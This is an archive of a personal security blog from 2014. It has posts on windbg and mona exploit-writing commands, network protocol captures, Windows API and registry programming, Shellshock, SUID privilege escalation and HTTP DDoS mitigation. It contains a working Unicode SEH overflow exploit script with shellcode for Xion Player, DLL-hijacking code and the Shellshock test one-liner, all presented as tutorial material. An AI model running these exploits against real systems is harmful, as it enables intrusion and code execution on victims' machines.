Wednesday, December 31, 2014

Useful windbg and mona commands for exploit writing



Find opcodes of instructions, say, "jmp esp"
0:000>a //press Enter key once
Input>jmp esp //press Enter key once
7c901214 jmp esp
0:000> u 7c901214 
ntdll!DbgUserBreakPoint+0x2:
7c901214 ffe4            jmp     esp

So "ffe4" are the opcodes for "jmp esp"

Opcode       Instruction
b0 01     mov al,1
c3             ret
0:000> s -b 0x00000000 L?0xffffffff "b001c3"
Syntax error at '"b001c3"'
0:000> s -b 0x00000000 L?0xffffffff b0 01 c3
77eda3fa  b0 01 c3 90 90 90 90 90-8b 41 14 66 8b 08 f6 c1
7c80c190  b0 01 c3 90 90 90 90 90-8b ff 55 8b ec 8b 45 0c
0:000> u 77eda3fa  
RPCRT4!NDR_PIPE_HELPER32::GotoNextParam+0x1b:
77eda3fa b001            mov     al,1

Opcode       Instruction
b0 01     mov al,1
c3             ret n
0:000> s -b 0x00000000 L?0xffffffff b0 01 c2
71a517a1  b0 01 c2 0c 00 90 90 90-90 90 ff 25 18 70 a8 71  ...........%.p.q
77eda6b2  b0 01 c2 08 00 90 90 90-90 90 32 c0 c3 90 90 90  ..........2.....
7c9518ea  b0 01 c2 04 00 90 90 90-90 90 8b ff 55 8b ec 56  ............U..V
0:000> u 71a517a1  
mswsock+0x17a1:
71a517a1 b001            mov     al,1
71a517a3 c20c00          ret     0Ch

push esp / pop ebp / ret
0:000> s -b 0x00000000 L?0xffffffff 54 5D c2
77eedc68  54 5d c2 04 00 90 90 90-90 90 8b ff 55 8b ec 56  T]..........U..V
77eee353  54 5d c2 04 00 90 90 90-90 90 8b ff 55 8b ec 56  T]..........U..V
77eee7b3  54 5d c2 04 00 90 90 90-90 90 8b ff 55 8b ec 51  T]..........U..Q
77eeecd6  54 5d c2 04 00 90 90 90-90 90 8b ff 55 8b ec 6a  T]..........U..j
77eeee84  54 5d c2 04 00 90 90 90-90 90 8b ff 55 8b ec 56  T]..........U..V

Random mona commands, might be useful during exploit writing
!mona suggest
!mona assemble -s "mov eax#ret"

Find all executable locations that have a pointer to “jmp ecx”
!mona find -type instr -s "jmp ecx" -p2p -x X

Search for a push (any register), later followed by pop eax, directly followed by inc eax, ending the chain with a retn
!mona findwild -s "push r32#*#pop eax#inc eax#*#retn"

!mona findwild -s "mov r16#*#retn"

ROP gadgets from all loaded DLL's
!mona rop -n -o

ROP gadget from specific DLL
!mona rop -m msvcr71.dll -n

ROP gadgets without bad characters
!mona rop -m msvcr71.dll -n -cpb '\x00\x0a\x0d'

Find stackpivot at offset 1500
!mona stackpivot -n -o -distance 1500

https://labs.snort.org/awbo/windbg.txt
http://windbg.info/doc/1-common-cmds.html
http://blog.disects.com/2014/04/windbg-useful-debugging-commands.html


Thursday, December 25, 2014

DHCP: No IP, to IP!

DHCP stands for Dynamic Host Configuration Protocol, used to assign an IP address to a machine connected to a network. DHCP uses ports 67 and 68 on top of UDP.

In this post we will see how a machine gets an IP Address.

Figure DHCP Client Communication Sequence

    Source     Dest        Source     Dest              Packet
   MAC addr   MAC addr    IP addr    IP addr           Description
   -----------------------------------------------------------------
   Client     Broadcast   0.0.0.0    255.255.255.255   DHCP Discover
   DHCPsrvr   Broadcast   DHCPsrvr   255.255.255.255   DHCP Offer
   Client     Broadcast   0.0.0.0    255.255.255.255   DHCP Request
   DHCPsrvr   Broadcast   DHCPsrvr   255.255.255.255   DHCP ACK
Source (Microsoft)
Broadcast MAC Address is ff:ff:ff:ff:ff:ff

Below 4 packets (Packet number 2 to 5) are mainly used for fetching an IP. Lets get into packet level details of communication.

Machine which is connected to the network sends a broadcast packet using 255.255.255.255 as destination address which is an IP Address lease request will be responded back by the DHCP Server as DHCP Offer message. A DHCP client migh also send it's previous IP Address part of the discover packet.
Figure DHCP Discover

DHCP server takes a non assigned IP address from the address pool and makes a lease offer to client.

Figure DHCP Offer

Figure DHCP Request

Figure DHCP ACK

In the above communication, we need to mainly observer the source and destination MAC addresses used.

Point to remember, bootp is the wireshark filter, not dhcp.

http://support.microsoft.com/KB/169289


Friday, December 19, 2014

Thursday, December 18, 2014

DNS CNAME Record Query/Response


DNS CNAME Query


DNS CNAME Response

DNS A Record Query/Response


A Record Query for www.google.co.in


A Record Response for www.google.co.in



A Record Query for domain www.google.com


A Record Response for domain www.google.com


Friday, December 12, 2014

Xion Player Unicode Exploit

Unicode Exploitation Techniques


Below instructions make us point to shellcode
0012F2D0 50 PUSH EAX
0012F2D1 006D 00 ADD BYTE PTR SS:[EBP],CH
0012F2D4 C3 RETN
#!c:\python27\python.exe
import struct

total_buf_size=5000
# 228 offset
buf1 = "A" * 228
#nseh = "MM"
nseh = "\x61\x62"
# seh = "NN"
seh = "\x15\x45"
print "seh: ", len(seh)

prep_stack = "D"
prep_stack = prep_stack + "\x6e" #nop/align
prep_stack = prep_stack + "\x55" #push ebp
prep_stack = prep_stack + "\x6e" #nop/align
prep_stack = prep_stack + "\x58" #pop eax=> ebp into eax
prep_stack = prep_stack + "\x6e" #pop/align
prep_stack = prep_stack + "\x05\x14\x11" #add eax,11001400
prep_stack = prep_stack + "\x6e" #pop/align
prep_stack = prep_stack + "\x2d\x13\x11" #sub eax,11001300
prep_stack = prep_stack + "\x6e" #pop/align
print "prep_stack len=", len(prep_stack)

prep_jump = "\x50"  #push eax
prep_jump = prep_jump + "\x6d"  #nop/align
prep_jump = prep_jump + "\xc3"  #ret
print "prep_jump len=", len(prep_jump)


# offset between the last instruction 0012f3ac and
# our venetian jumpcode (c3 = ret) 0012f2d4
# to make sure shellcode is at eax
loca = "D"*107

shellcode="PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NLMPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18VNQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JBR84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOTNDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEMKOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERCQQ2LRCM0LJA"

remaining_buf = "D" * (total_buf_size -(len(buf1) + len(nseh)+len(seh)+len(prep_stack)+len(prep_jump) + len(loca) + len(shellcode)))
payload = buf1 + nseh + seh + prep_stack + prep_jump + loca + shellcode + remaining_buf
print "Payload length ", len(payload)

try:
  fh = open("xion_uni_m3u.m3u", "w")
  fh.write(payload)
  fh.close()
except:
  print "Unable to create m3u file!\n"

To Generate cyclic pattern
!mona pc 1500

To find offset of in cyclic pattern at the time of crash
!mona findmsp

To search registers holding pop/pop/ret
!mona seh -cp unicode
seh.txt will be created under C:\Program Files\Immunity Inc\Immunity Debugger. Following is the list of address of our interest, search for string "unicode" in seh.txt.
0x00450015 : pop ebx # pop ebp # ret  |startnull,unicode,# asciiprint,ascii {PAGE_EXECUTE_READ} [Xion.exe] ASLR False, Rebase: False, SafeSEH: False, OS: False, v1.0.0.121 # (C:\Program Files\r2 Studios\Xion\Xion.exe)
0x004800f5 : pop ebx # pop ebp # ret  | startnull,unicode # {PAGE_EXECUTE_READ} [Xion.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0.0.121 (C:\Program Files\r2 Studios\Xion\Xion.exe)
0x00410079 : pop edi # pop esi # ret 0x04 | startnull,unicode,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [Xion.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0.0.121 (C:\Program Files\r2 Studios\Xion\Xion.exe)
0x004400c0 : pop edi # pop esi # ret 0x04 | startnull,unicode {PAGE_EXECUTE_READ} [Xion.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0.0.121 (C:\Program Files\r2 Studios\Xion\Xion.exe)
0x00470166 : pop edi # pop ebp # ret  | startnull,unicode possible ansi transform(s) : 0047009A->00470161,ascii {PAGE_EXECUTE_READ} [Xion.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0.0.121 (C:\Program Files\r2 Studios\Xion\Xion.exe)

This article is fully based on Peter Van Eeckhoutte's Unicode exploiting tutorial.

References
https://www.corelan.be/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/
http://www.fuzzysecurity.com/tutorials/expDev/5.html

Thursday, November 20, 2014

Use After Free: gflags.exe

Pageheap must be enabled on Internet Explorer (iexplore.exe) to observe crash. To enable pageheap on iexplore.exe, run any of the following commands. gflags.exe is installed as part of VC++, .NET etc when Microsoft Debugging Tools option is selected. executing gflags.exe will help us to easily find memory corruptions and tracing heap allocations/frees. 

gflags.exe /i iexplore.exe +hpa +ust 
Enable the Pageheap (HPA) and User Stack Trace (UST) flags.

gflags.exe /p /enable iexplore.exe /full 

C:\Users\praveend>gflags.exe /?
usage: GFLAGS [-r []] |
              [-r +spp TAG | -r +spp SIZE | -r -spp |
              [-k []] |
              [-k +spp TAG | -k +spp SIZE | -k -spp] |
              [-ro [-d | { -i | -t [;...] } [-
p] ] |
              [-ko [-d | { -i | -t [;...] } [-
p] ] |
              [-i []] |
              [-i -tracedb ] |
              [-p ] (use `-p ?' for help)  |

where: is a 32 bit hex number (0x12345678) that specifies
       one or more global flags to set.
       -r operates on system registry settings.
       -r +spp TAG - Set Special Pool tag value.
                     TAG can have up to four characters.
       -r +spp SIZE - Set Special Pool block size value.
                      SIZE must be in hex format, starting with characters 0x.
       -r -spp      - Disable Special Pool tag or block size.
       -k operates on kernel settings of the running system.
          -k +spp TAG   - Set Special Pool tag value at run time.
                          TAG can have up to four characters.
          -k +spp SIZE  - Set Special Pool block size value at run time.
                          SIZE must be in hex format, starting with characters 0
x.
          -k -spp       - Disable Special Pool tag or block size at run time.
       -ro operates on object reference tracing at boot time.
       -ko operates on object reference tracing at run time.
          -d disables object reference tracing. Do not specify any
             other tracing options.
          -i specifies the image name for which
             to capture traces. All processes started up with this
             image file will be traced.
          -t [;...] specifies the pool tags for which
             to capture traces. Pool tags should be 4 letters each,
             separated by ';'. This value is case sensitive.
          -p maintains traces after the objects are destroyed(permanent).
             By default traces are temporary.
          Unless you are using -d you must specify at least one of the
          -i or the -p options. You may specify both in which case
          objects with a pool tag that is among the list of pool tags
          you specify, created by processes with the image filename
          you specify will be traced. -ko settings override -ro settings.
          Also, if you specify a new set of -ko settings the previous
          -ko settings, if any, are lost (same for -ro).
       -i operates on settings for a specific image file.
           [ignored when not suported in the current OS versions]

       If only the switch is specified, then current settings
       are displayed, not modified.  If flags specified for -i
       option are FFFFFFFF, then registry entry for that image
       is deleted

The `-tracedb' option is used to set the size of the stack trace
database used to store runtime stack traces. The actual database
will be created if the `+ust' flag is set in a previous command.
`-tracedb 0' will revert to the default size for the database.

If no arguments are specified to GFLAGS then it displays
a dialog box that allows the user to modify the global
flag settings.

Flags may either be a single hex number that specifies all
32-bits of the GlobalFlags value, or it can be one or more
arguments, each beginning with a + or -, where the + means
to set the corresponding bit(s) in the GlobalFlags and a -
means to clear the corresponding bit(s).  After the + or -
may be either a hex number or a three letter abbreviation
for a GlobalFlag.  Valid abbreviations are:

    soe - Stop On Exception
    sls - Show Loader Snaps
    dic - Debug Initial Command
    shg - Stop on Hung GUI
    htc - Enable heap tail checking
    hfc - Enable heap free checking
    hpc - Enable heap parameter checking
    hvc - Enable heap validation on call
    vrf - Enable application verifier
    ptg - Enable pool tagging
    htg - Enable heap tagging
    ust - Create user mode stack trace database
    kst - Create kernel mode stack trace database
    otl - Maintain a list of objects for each type
    htd - Enable heap tagging by DLL
    dse - Disable stack extensions
    d32 - Enable debugging of Win32 Subsystem
    ksl - Enable loading of kernel debugger symbols
    dps - Disable paging of kernel stacks
    scb - Enable system critical breaks
    dhc - Disable Heap Coalesce on Free
    ece - Enable close exception
    eel - Enable exception logging
    eot - Enable object handle type tagging
    hpa - Enable page heap
    dwl - Debug WINLOGON
    ddp - Disable kernel mode DbgPrint output
    cse - Early critical section event creation
    sue - Stop on Unhandled Exception
    bhd - Enable bad handles detection
    dpd - Disable protected DLL verification
    lpg - Load image using large pages if possible

All images with ust enabled can be accessed in the
USTEnabled key under 'Image File Options'.
C:\Users\praveend>

Now we can observer crashes in Internet Explore, make Windbg or Olly as your Just In time Debugger!

Wednesday, October 22, 2014

Windows System Programming: File Handling


Creating File

#include <windows.h>
int main()
{
    HANDLE fH = NULL;
    LPCTSTR fileName = "testfile.txt";
    char buff_in[512] = "Creating test file using windows API's";
    int bytes_written = 0;
    int status;
 
    /* http://bit.ly/ISRjD6 */
    fH = CreateFile(fileName, /*lpFileName*/
             GENERIC_READ|GENERIC_WRITE, /* dwDesiredAccess */
             FILE_SHARE_WRITE, /* dwShareMode */
             NULL, /* lpSecurityAttributes */
             CREATE_NEW, /* dwCreationDisposition, Creates a 
                         new file, only if it does not already exist.*/
             SECURITY_SQOS_PRESENT|FILE_ATTRIBUTE_HIDDEN, 
                         /* dwFlagsAndAttributes, we can also pass 
FILE_FLAG_DELETE_ON_CLOSE to close file once  we are done handling it */              NULL        /* hTemplateFile */                       );     if (fH == INVALID_HANDLE_VALUE) {                printf("Invalid file handle");     }         status = WriteFile(fH, /* hFile */               buff_in, /* lpBuffer */               512, /* nNumberOfBytesToWrite */               &bytes_written, /* lpNumberOfBytesWritten */               NULL /* lpOverlapped */               );     if (status != 0) {         printf("Successfully wrote to file %s", fileName);     }     return 0; }


Snap shot shows execution, file created with text inside and properties set.

#include <windows.h>
int main()
{
    HANDLE fH, hFind;
    WIN32_FIND_DATA fileData;
    LPCTSTR fileName = "testfile.txt";
    char buff_in[512] = "Creating test file using windows API's";
    int bytes_written = 0;
    int status, ftype, fsize, fsh, binary_type;
    char dir_path[80]="C:\\Documents and Settings\\praveen \
                       \\My Documents\\mal_files\\";
    char file_ext[8] = "*.exe";
    char filepath[128];
   
    strcpy(filepath, dir_path);
    strcat(filepath, file_ext);   
    /* relative path did not work*/
    hFind = FindFirstFile(filepath, /* lpFileName, */
                       &fileData /* lpFindFileData */ );
    while (hFind != INVALID_HANDLE_VALUE) {
        printf("fileName=%s(%d)\n", fileData.cFileName, GetLastError());
        strcpy(filepath, dir_path);
        strcat(filepath, fileData.cFileName);
        fH = CreateFile(filepath, /*lpFileName*/
                        GENERIC_READ|GENERIC_WRITE, /* dwDesiredAccess */
                        FILE_SHARE_WRITE, /* dwShareMode */
                        NULL, /* lpSecurityAttributes */
                        OPEN_EXISTING, /* dwCreationDisposition, Creates a
                         new file, only if it does not already exist.*/
                         SECURITY_SQOS_PRESENT|FILE_ATTRIBUTE_HIDDEN,
                         /* dwFlagsAndAttributes */
                         NULL        /* hTemplateFile */);
        if (fH == INVALID_HANDLE_VALUE) {
            if (ERROR_FILE_EXISTS == GetLastError())
                printf("file exists(%d)\n", GetLastError());
            else
                printf("Invalid file handle (%d)\n", GetLastError());
            return -1;   
        }
        printf("Stats of file=\"%s\"\n", filepath);
        ftype = GetFileType(fH);
        fsize = GetFileSize(fH, &fsh);
        GetBinaryType(filepath, &binary_type);
        printf("file type =%d(1=Disk File)\n", ftype);
        printf("file size=%d(%d) bytes\n", fsize, fsh);
        printf("binary_type=%d, error=%d\n", binary_type, GetLastError());
        printf("We can print file attributes from fileData\n");
        printf("*****************************************\n");  
       
        if(!FindNextFile(hFind, &fileData)) {
            FindClose(hFind);
            hFind = INVALID_HANDLE_VALUE;
        }
    }
    return 0;
}
Somehow binary_type value is not getting printed properly. By using fileData,  we can also print access times, modified time etc.

Sunday, October 5, 2014

Windows System Programming: Registry Handling


Malware (malicious software) uses different techniques to maintain persistence i.e. execute itself after reboot, one of the persistence mechanisms is using Windows Registry modification.

Following are few important registry hives used by Malware
Autostart Directory
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Run/RunOnce/RunService
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
Explorer
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Browser Helper Objects (BHO)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects 

Other registries include Autoruns, Terminal Server Autoruns, Registry Shell Spawning, Explorer (say, plugins, addons, toolbars) etc.

Following are different API's for registry manipulation
RegCreateKeyEx
RegDeleteKeyEx
RegQueryValueA
RegQueryValueExA
RegCloseKeyA
RegOpenKeyEx


Headers and Libraries
Winreg.h (include Windows.h)
Advapi32.dll


Predefined Keys
    HKEY_CLASSES_ROOT
    HKEY_CURRENT_CONFIG
    HKEY_CURRENT_USER
    HKEY_LOCAL_MACHINE
    HKEY_USERS 


Following hives point to files on disk
HKEY_LOCAL_MACHINE\HARDWARE    created when a new hardware is added/available
HKEY_LOCAL_MACHINE\SAM              %SystemRoot%\System32\config\SAM
HKEY_LOCAL_MACHINE\SECURITY      %SystemRoot%\System32\config\SECURITY
HKEY_LOCAL_MACHINE\SOFTWARE     %SystemRoot%\System32\config\SOFTWARE
HKEY_LOCAL_MACHINE\SYSTEM         %SystemRoot%\System32\config\SYSTEM
HKEY_USERS\.DEFAULT                    %SystemRoot%\System32\config\DEFAULT

Print suspicious Registries
We are printing suspicious registries, in the example below I had hard coded the values.

#include <windows.h>
int main()
{
    HKEY hKey;
    DWORD status;
    DWORD type = REG_SZ;
    char sKey[255]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
    PPERF_DATA_BLOCK data = (PPERF_DATA_BLOCK) malloc(1024);
    DWORD dsize = 1024;
  
    status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, /**/
                          sKey, 0, /* lpSubKey, ulOptions */
                          KEY_READ, &hKey /* samDesired, phkResult */
                          );
    if (status != ERROR_SUCCESS) {
               printf("Error RegOpenKeyEx\n");
               return 0;
    } 
    status = RegQueryValueEx(hKey, "VBoxTray", /* hKey, lpValueName */
                             NULL, &type, /* lpReserved, lpType */
                             (LPBYTE)data, &dsize /* lpData, lpcbData*/
                             );    
    if (status != ERROR_SUCCESS) {
       MessageBox(0, "Error querying Registry", "Error", 0);  
       return 0;         
    }
    /* Using RegEnumKeyEx, RegEnumValue we can enumerate through 
     * subkeys and value names*/
    printf("\nQuerying Registry HKEY_LOCAL_MACHINE\\%s\n", sKey);
    printf("VBoxTray executes from %s\n", data);
    
    return 0;   
}
Add new Registry
RegCreateKeyEx function is used to create new registry key or open already existing keys. A registry tree can be 512 levels deep. We can create up to 32 levels at a time through a single registry API call.
#include<windows.h>
#include<string.h>
#define MAX_KEY_NAME 255
#define MAX_STR 32
int main()
{
    HKEY hKey_ptr = NULL;
    DWORD status;
    char data[MAX_STR-1] = "Praveen Darshanam";
    char sKey[MAX_KEY_NAME] = "disects\\Tutorial";
    DWORD createdornot;
       
    printf("\nAdding new Registry Information\n");
    /*
     * http://msdn.microsoft.com/en-us/library/windows/
     * desktop/ms724844%28v=vs.85%29.aspx
     */
    status = RegCreateKeyEx(HKEY_CURRENT_USER, /* hKey */
                          sKey, /* lpSubKey */
                          0, NULL, /* Reserved, lpClass */
                          REG_OPTION_NON_VOLATILE, /* dwOptions */
                          KEY_ALL_ACCESS, /* samDesired */
                          NULL, /* lpSecurityAttributes */
                          &hKey_ptr, /* phkResult */
                          &createdornot /* lpdwDisposition */
                          );
    if (status != ERROR_SUCCESS) {
               printf("Error RegCreateKeyEx(%d), lpdwDisposition=%u\n",
                      status, createdornot);
               return 0;
    }

    status = RegSetValueEx(hKey_ptr, "Name", /* hKey, lpValueName*/
                           0, REG_SZ, /* Reserved, dwType */
                           data,  strlen(data)/* *lpData, cbData */
                           );    
    if (status != ERROR_SUCCESS) {  
       printf("Error RegSetValueEx(%d)\n", status);
       return 0;         
    }
    printf("Value of createdornot(lpdwDisposition)=%u\n", createdornot);
    printf("Successfully created registry HKEY_CURRENT_USER\\%s\n", sKey);
    
    return 0;   
}


Modify/Delete Registry
RegDeleteKeyEx function can be used to remove any registry.
In the above program call RegDeleteKeyEx function before final return.
RegDeleteKeyEx(hKey_ptr, sKey, KEY_WOW64_32KEY, 0);
http://msdn.microsoft.com/en-us/library/windows/desktop/ms724836%28v=vs.85%29.aspx
http://msdn.microsoft.com/en-us/library/windows/desktop/ms724880%28v=vs.85%29.aspx
http://msdn.microsoft.com/en-us/library/windows/desktop/ms724875%28v=vs.85%29.aspx
http://gladiator-antivirus.com/forum/index.php?showtopic=24610

Friday, September 26, 2014

Shellshock and Cygwin

Cygwin is a *nix like Command Line Interface (CLI) for Windows Operating Systems.

Cygwin by default ships with 4.1.x version at the time of my testing which has shellshock (CVE-2014-6271) vulnerability, use "bash --version" to check current  version of bash shell.



To check the Vulnerability execute below PoC
$ env x='() { :;}; echo vulnerable' bash -c 'echo Exploited!!'


Dissecting the PoC
env      command used to print environment variables or modify the environment where program executes
x          environment variable/ function name
{ :;};    function definition
echo vulnerable' bash -c 'echo Exploited!!' is the malicious data after function definition.

Issue
Due to the vulnerability shell is interpreting the arbitrary commands after the termination of the function definition and executing entire text of environment variables value.

Same PoC command can be used on different Linux distributions for testing the presence of shellshock vulnerability.

Many Linux distributions already released patch for CVE-2014-6271, has lead to new vulnerability, CVE-2014-7169 which is less severe compared to shellshock.

Sunday, September 21, 2014

Finding and Exploiting DLL Injection Vulnerabilities


We need Process Monitor tool, part of sysinternals tools for finding the Vulnerability.

Loading of non-existent Dynamic Linked Libraries (DLL's) for the process under analysis can be found using below Process Monitor filter

Process Name      is                    wab.exe then                      Include 
Path                        ends with      .dll then                                Include 
Result                    is                    NAME NOT FOUND then Include


Above Filter and Snapshot shows that Login.exe couldn't find DLL's SXS.dll, CLBCATQ.dll etc.
Created DLL with following Code and rename the DLL to any of SXS.dll, CLBCATQ.dll and copy to the path from where we are executing our vulnerable binary.


#include <windows .h>
#include <stdio .h>
#include <string .h>

BOOL APIENTRY DllMain( HMODULE hModule,DWORD  fdwReason,LPVOID lpReserved)
{
 MessageBox(NULL,L"DLL Injection by Disects !",
    L"developed by Praveen Darshanam",
    MB_ICONWARNING | MB_CANCELTRYCONTINUE | MB_DEFBUTTON2);

 return TRUE;
}


Search the DLL we injected
When we execute Login.exe binary our DLL is injected and executes code present in the DLL.



To execute calculator we can use below code
    #include <windows .h>

    int exec_calc()
    {
      WinExec("calc", 0);
      exit(0);
      return 0;
    }

    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, 
                        LPVOID lpvReserved)
    {
      exec_calc();
      return 0;
    }

Done!

Saturday, August 30, 2014

Windows System Programming: Grabbing Address of required Windows API from a DLL

Any program on Windows needs two API's to get all the imports in an executable.
LoadLibraryA
GetProcAddress  

LoadLibraryA Takes DLL name as argument and returns handle to DLL. GetProcAddress Takes DLL handle and function name as arguments and returns address of the interested function.

#include"windows.h"

int main(int argc, char *argv[])
{
     HINSTANCE handle;
     LPWSTR procAddr;

     //handle=LoadLibrary(TEXT("C:\\WINDOWS\\system32\\kernel32.dll"));
     handle = LoadLibrary(argv[1]);    
     if(handle != NULL) {
         procAddr = (LPWSTR)GetProcAddress(handle,argv[2]);
         if(procAddr != NULL) {
             printf("In %s API \"%s\" is located at %#x\n",
                    argv[1], argv[2], procAddr);
         } else {
             printf("Address not found\n");
         }
     } else {
       printf("NULL handle");
     }
     
     //Free DLL Module
     FreeLibrary(handle);
     return 0;
}

Above program is compiled to ll_gp.exe and takes 2 arguments. To build and compile binary using Dev-C++ press F9 key.

Usage:
ll_gp.exe  dll_name api_name























For Windows Programming below link can be used as reference

http://www.winprog.org/tutorial/

Sunday, August 10, 2014

DLL Injection: Executing and Testing DLL's

DLL (Dynamic Link Library) Injection is the process of loading a DLL into target process so that code in the DLL might be executed in the context of the target process.

Example Code Snippet

How to test DLL
RUNDLL32.EXE dll_name,EntryPoint [options]



AppInit_DLLs value is found at
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows
We have to set Appinit_DLLs key value of the type REG_SZ to DLL's Path. Executables that do not link with User32.dll do not load AppInit DLLs.

NOTE: Above registry change might cause inconvenience as you might see too many pop-ups

References
http://www.exploit-db.com/exploits/14740/
http://www.exploit-db.com/papers/14813/
http://www.exploit-db.com/wp-content/themes/exploit/docs/242.pdf
http://www.ericphelps.com/batch/rundll/
http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html

Tuesday, August 5, 2014

Manual Unpacking of Compressed Binaries



INTRODUCTION
In this article we will walk through manual unpacking of protected malicious Windows binaries using OllyDBG. We also need to rebuild Import Address Table (IAT) to restore the file to executable state. Most of the Anti-virus (AV) vendors flag PE packers as malicious software. There are many varieties of packer’s available, say, ASpcak, UPX, NsPack, Armadillo, Themida etc.

PACKERS
Packers reduce the physical size of an executable by compressing an executable and combine the compressed data with decompression stub into a single binary. At runtime, the decompression stub expands the original application and transfers control to the original entry point (OEP).

One of the methods that can be used to locate the original entry point (OEP) of the file is to apply break points on the following APIs:
GetLoadLibraryA
GetVersionExA
GetEnvironmentA
LoadLibraryA
GetProcAddress
IniHeap
These APIs are called by the packer’s start-up routine.
 
Following articles explain manual unpacking of UPX and AHpack
http://blog.disects.com/2013/12/manual-unpacking-of-upx-packed-binary.html
http://blog.disects.com/2013/12/manual-unpacking-of-ahpack01.html
  
REFERENCES

Saturday, July 26, 2014

Incidence Response: Important Linux Commands and Log Files

Most of the log files are located at
/var/log/

btmp, utmp, wtmp
last -f /var/log/btmp | more
last
recent login information for all the users
lastlog                

/var/log/secure       contains information about authentication and authorization

auth.log
maillog

Sunday, July 20, 2014

Privilege Escalation by Exploiting SUID Binaries


There might be situations where unprivileged users need to complete tasks which needs privileges. Best examples might be ping, passwd etc.

Understanding File Permissions
There are three permission types
r - read
w - write
x - execute
_ rwx r_x __x 

Brown underscore indicates file type (d - directory, l - link, p - pipe etc.), rwx in yellow indicates permissions for file owner or User, r_x in green indicates Group permissions, __x in blue indicates  permissions for all Other users.

                                         Figure. Program to demo SUID exploitation

test_suid.c is a demo exploit file can be compiled using GCC
# gcc test_suid.c -o test_suid
Compiling as root user to make sure file is owned by root.

When test_suid binary is executed without SUID bit set, we still have prdarsha user permissions.

                                          Figure.Executing binary with SUID bit not set

Now lets execute test_suid binary after setting SUID bit which will escalate the privilege from notmal user to root user.
File permissions can be set using below command (also refer Figure. File Permissions)
# chmod u+s test_suid

                                          Figure. Executing binary with SUID bit set

Checking the permissions of important file like passwd
                                          Figure. File Permissions

Finding all executable's which have SUID bit set
find / -type f \( -perm -04000 -o -perm -02000 \) \-exec ls -lg {} \;

Wednesday, July 16, 2014

HTTP DDoS Mitigations

Multiple get requests to a specific resource which need resources to generate the response might lead to a DoS/DDoS condition.

HTTP POST DDoS
Client tells the web server how large the message body is,say, “Content-Length = 800” but is sent with huge latency say 1 byte per 100 seconds.

Load balancers
Reverse Proxies
Attacker ---- Reverse Proxy ---- Original Server
Reverse Proxy serves the resources hiding original Web Server
Delayed binding
TCP slicing
Monitoring Header, request patterns
Malware/Bots/Scripts have a specific request patterns unlike human.
Cookies
Captchas
Invalid User-Agents, same packet size, dynamic referrers
Detection of rotating IP Addresses, User-Agent's, Referrers


Apache Mitigation mechanisms
mod_reqtimeout
LimitRequestBody directive
mod_antiloris

Akamai provides a real-time mapping info
http://www.akamai.com/html/technology/dataviz1.html

Deleting Flows from OVSK and CPqD Switches

Start Mininet and on on Mininet console execute "pingall" which creates 2 default flows part of Table Zero.

To see the flows use
sudo ovs-ofctl -O OpenFlow13 dump-flows s1

To delete flows
sudo ovs-ofctl del−flows switch
sudo ovs-ofctl del−flows switch [flow]
 

With only a switch argument, deletes all flows. Otherwise, deletes flow entries that match the specified flows. 

sudo ovs-ofctl del−flows s1 "table=0"

Deleting flows from CPqD switch
sudo dpctl unix:/var/run/s1.sock flow-mod cmd=del,table=0
We can also use "del-flows".


Thursday, June 12, 2014

SMTP Enumeration: Finding SMTP Servers for a given Domain

nslookup is a command line tool for querying Domain Name System (DNS) servers to obtain specific DNS records, domain name or IP Address mapping.
There are many resource records in a Domain Name System,  MX record specifies Mail Servers accepting email messages.

Open Command Prompt(cmd.exe) and type
C:\Users\prdarsha>nslookup
> set q=mx
> yahoo.com



                                          Figure MX records snapshot

Lets see MX records of gmail.com, microsoft.com, outlook.com.


Enjoy!

Thursday, June 5, 2014

Configuring NAT for Virtual Box on Windows using VBoxManage modifyvm

c:\Program Files\Oracle\VirtualBox>
c:\Program Files\Oracle\VirtualBox>VBoxManage modifyvm "U12.04ODLController" --n
atpf1 "netioludpnat,udp,173.39.49.192,,10.0.2.15,49150"

c:\Program Files\Oracle\VirtualBox>VBoxManage modifyvm "U12.04ODLController" --n
atpf1 "netioltcpnat,tcp,173.39.49.192,,10.0.2.15,49150"
